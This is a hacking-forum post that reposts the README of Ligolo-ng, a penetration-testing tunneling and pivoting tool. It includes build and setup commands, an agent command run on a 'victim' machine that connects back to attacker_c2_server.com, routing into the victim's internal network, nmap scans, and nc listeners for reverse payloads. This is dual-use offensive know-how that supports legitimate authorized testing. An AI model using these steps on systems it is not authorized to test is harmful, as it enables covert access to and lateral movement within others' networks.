# Ligolo-Ng | An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

**URL:** <https://onehack.st/t/ligolo-ng-an-advanced-yet-simple-tunneling-pivoting-tool-that-uses-a-tun-interface/273951>\
**Category:** Tools & Scripts\
**Tags:** hacking\
**Created:** [January 31, 2024, 7:40am UTC](https://onehack.st/t/ligolo-ng-an-advanced-yet-simple-tunneling-pivoting-tool-that-uses-a-tun-interface/273951 "2024-01-31T07:40:40Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [January 31, 2024, 7:40am UTC](https://onehack.st/t/ligolo-ng-an-advanced-yet-simple-tunneling-pivoting-tool-that-uses-a-tun-interface/273951/1 "2024-01-31T07:40:41Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/3/7/37ff24d2950d8d143bd4535084fede32b896af25.png)

# Ligolo-ng : Tunneling like a VPN

An advanced, yet simple, tunneling tool that uses TUN interfaces.

[![GPLv3](https://camo.githubusercontent.com/3a7dab0df64e2758b8984024a5a118e0220141563c595e9c3b5cd849f9d6160d/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c76332d627269676874677265656e2e737667)](https://www.gnu.org/licenses/gpl-3.0) [![Go Report](https://camo.githubusercontent.com/e8425c01b6b4e37268e78119e368bd32fa40816ba5213861c64eee76c5f4b5f9/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f6e69636f63686133302f6c69676f6c6f2d6e67)](https://goreportcard.com/report/github.com/nicocha30/ligolo-ng) [![GitHub Sponsors](https://camo.githubusercontent.com/14407921995c17a6183354c36992c31245cc6ce03effbfaa507c0e5e1e0516ed/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73706f6e736f72732f6e69636f6368613330)](https://github.com/sponsors/nicocha30)

You use Ligolo-ng for your penetration tests? Did it help you pass a certification? Please consider sponsoring the project so I can buy my team some drinks. ☕

[❤ Sponsor nicocha30](https://github.com/sponsors/nicocha30)

## Table of Contents

- [Introduction](https://github.com/nicocha30/ligolo-ng#introduction)
- [Features](https://github.com/nicocha30/ligolo-ng#features)
- [How is this different from Ligolo/Chisel/Meterpreter… ?](https://github.com/nicocha30/ligolo-ng#how-is-this-different-from-ligolochiselmeterpreter-)
- [Building & Usage](https://github.com/nicocha30/ligolo-ng#building--usage)
  - [Precompiled binaries](https://github.com/nicocha30/ligolo-ng#precompiled-binaries)
  - [Building Ligolo-ng](https://github.com/nicocha30/ligolo-ng#building-ligolo-ng)
  - [Setup Ligolo-ng](https://github.com/nicocha30/ligolo-ng#setup-ligolo-ng)
    - [Linux](https://github.com/nicocha30/ligolo-ng#linux)
    - [Windows](https://github.com/nicocha30/ligolo-ng#windows)
    - [Running Ligolo-ng proxy server](https://github.com/nicocha30/ligolo-ng#running-ligolo-ng-proxy-server)

  - [TLS Options](https://github.com/nicocha30/ligolo-ng#tls-options)
    - [Using Let’s Encrypt Autocert](https://github.com/nicocha30/ligolo-ng#using-lets-encrypt-autocert)
    - [Using your own TLS certificates](https://github.com/nicocha30/ligolo-ng#using-your-own-tls-certificates)
    - [Automatic self-signed certificates (NOT RECOMMENDED)](https://github.com/nicocha30/ligolo-ng#automatic-self-signed-certificates-not-recommended)

  - [Using Ligolo-ng](https://github.com/nicocha30/ligolo-ng#using-ligolo-ng)
  - [Agent Binding/Listening](https://github.com/nicocha30/ligolo-ng#agent-bindinglistening)
  - [Access to agent’s local ports (127.0.0.1)](https://github.com/nicocha30/ligolo-ng#access-to-agents-local-ports-127001)

- [Demo](https://github.com/nicocha30/ligolo-ng#demo)
- [Does it require Administrator/root access ?](https://github.com/nicocha30/ligolo-ng#does-it-require-administratorroot-access-)
- [Supported protocols/packets](https://github.com/nicocha30/ligolo-ng#supported-protocolspackets)
- [Performance](https://github.com/nicocha30/ligolo-ng#performance)
- [Caveats](https://github.com/nicocha30/ligolo-ng#caveats)
- [Todo](https://github.com/nicocha30/ligolo-ng#todo)
- [Credits](https://github.com/nicocha30/ligolo-ng#credits)

## Introduction

**Ligolo-ng** is a _simple_, _lightweight_ and _fast_ tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

## Features

- **Tun interface** (No more SOCKS!)
- Simple UI with _agent_ selection and _network information_
- Easy to use and setup
- Automatic certificate configuration with Let’s Encrypt
- Performant (Multiplexing)
- Does not require high privileges
- Socket listening/binding on the _agent_
- Multiple platforms supported for the _agent_
- Can handle multiple tunnels

## How is this different from Ligolo/Chisel/Meterpreter… ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, **Ligolo-ng** creates a userland network stack using [Gvisor](https://gvisor.dev/).

When running the _relay/proxy_ server, a **tun** interface is used, packets sent to this interface are translated, and then transmitted to the _agent_ remote network.

As an example, for a TCP connection:

- SYN are translated to connect() on remote
- SYN-ACK is sent back if connect() succeed
- RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
- Nothing is sent if timeout

This allows running tools like _nmap_ without the use of _proxychains_ (simpler and faster).

## Building & Usage

### Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the [Release page](https://github.com/nicocha30/ligolo-ng/releases).

### Building Ligolo-ng

Building _ligolo-ng_ (Go \>= 1.20 is required):

$ go build -o agent cmd/agent/main.go $ go build -o proxy cmd/proxy/main.go # Build for Windows $ GOOS=windows go build -o agent.exe cmd/agent/main.go $ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

### Setup Ligolo-ng

#### Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your\_username] mode tun ligolo $ sudo ip link set ligolo up

#### Windows

You need to download the [Wintun](https://www.wintun.net/) driver (used by [WireGuard](https://www.wireguard.com/)) and place the `wintun.dll` in the same folder as Ligolo (make sure you use the right architecture).

#### Running Ligolo-ng proxy server

Start the _proxy_ server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options $ ./proxy -autocert # Automatically request LetsEncrypt certificates

### TLS Options

#### Using Let’s Encrypt Autocert

When using the `-autocert` option, the proxy will automatically request a certificate (using Let’s Encrypt) for _attacker\_c2\_server.com_ when an agent connects.

> Port 80 needs to be accessible for Let’s Encrypt certificate validation/retrieval

#### Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the `-certfile` and `-keyfile` parameters.

#### Automatic self-signed certificates (NOT RECOMMENDED)

The _proxy/relay_ can automatically generate self-signed TLS certificates using the `-selfcert` option.

The `-ignore-cert` option needs to be used with the _agent_.

> Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

### Using Ligolo-ng

Start the _agent_ on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker\_c2\_server.com:11601

> If you want to tunnel the connection over a SOCKS5 proxy, you can use the `--socks ip:port` option. You can specify SOCKS credentials using the `--socks-user` and `--socks-pass` arguments.

A session should appear on the _proxy_ server.

```auto
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

```

Use the `session` command to select the _agent_.

```auto
ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

```

Display the network configuration of the agent using the `ifconfig` command:

```auto
[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘

```

Add a route on the _proxy/relay_ server to the _192.168.0.0/24_ _agent_ network.

_Linux_:

$ sudo ip route add 192.168.0.0/24 dev ligolo

_Windows_:

```auto
> netsh int ipv4 show interfaces

Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
 25 5 65535 connected ligolo
   
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

```

Start the tunnel on the proxy:

```auto
[Agent : nchatelain@nworkstation] » start_tunnel
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

```

You can also specify a custom tuntap interface using the `--tun iface` option:

```auto
[Agent : nchatelain@nworkstation] » start_tunnel --tun mycustomtuntap
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

```

You can now access the _192.168.0.0/24_ _agent_ network from the _proxy_ server.

$ nmap 192.168.0.0/24 -v -sV -n […] $ rdesktop 192.168.0.123 […]

### Agent Binding/Listening

You can listen to ports on the _agent_ and _redirect_ connections to your control/proxy server.

In a ligolo session, use the `listener_add` command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

```auto
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

```

On the `proxy`:

$ nc -lvp 4321

When a connection is made on the TCP port `1234` of the agent, `nc` will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the `listener_list` command and stop them using the `listener_stop [ID]` command:

```auto
[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

```

### Access to agent’s local ports (127.0.0.1)

If you need to access the local ports of the currently connected agent, there’s a “magic” IP hardcoded in Ligolo-ng: _240.0.0.1_ ( This IP address is part of an unused IPv4 subnet). If you query this IP address, Ligolo-ng will automatically redirect traffic to the agent’s local IP address (127.0.0.1).

Example:

```auto
$ sudo ip route add 240.0.0.1/32 dev ligolo
$ nmap 240.0.0.1 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-30 22:17 CET
Nmap scan report for 240.0.0.1
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds

```

## Demo

ligolo-ng\_demo.mp4

## Does it require Administrator/root access ?

On the _agent_ side, no! Everything can be performed without administrative access.

However, on your _relay/proxy_ server, you need to be able to create a _tun_ interface.

## Supported protocols/packets

- TCP
- UDP
- ICMP (echo requests)

## Performance

You can easily hit more than 100 Mbits/sec. Here is a test using `iperf` from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483 Connecting to host 10.10.0.1, port 24483 [5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 [ID] Interval Transfer Bitrate Retr Cwnd [5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes [5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes [5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes [5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes [5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes [5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes [5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes [5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes [5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes [5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes - - - - - - - - - - - - - - - - - - - - - - - - - [ID] Interval Transfer Bitrate Retr [5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender [5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

## Caveats

Because the _agent_ is running without privileges, it’s not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using _nmap_, you should use `--unprivileged` or `-PE` to avoid false positives.

## Todo

- Implement other ICMP error messages (this will speed up UDP scans) ;
- Do not _RST_ when receiving an _ACK_ from an invalid TCP connection (nmap will report the host as up) ;
- Add mTLS support.

## Credits

- Nicolas Chatelain \<nicolas -at- [chatelain.me](http://chatelain.me)\>

## GitHub:

> **[GitHub - nicocha30/ligolo-ng: An advanced, yet simple, tunneling/pivoting tool...](https://github.com/nicocha30/ligolo-ng)**
>
> An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.
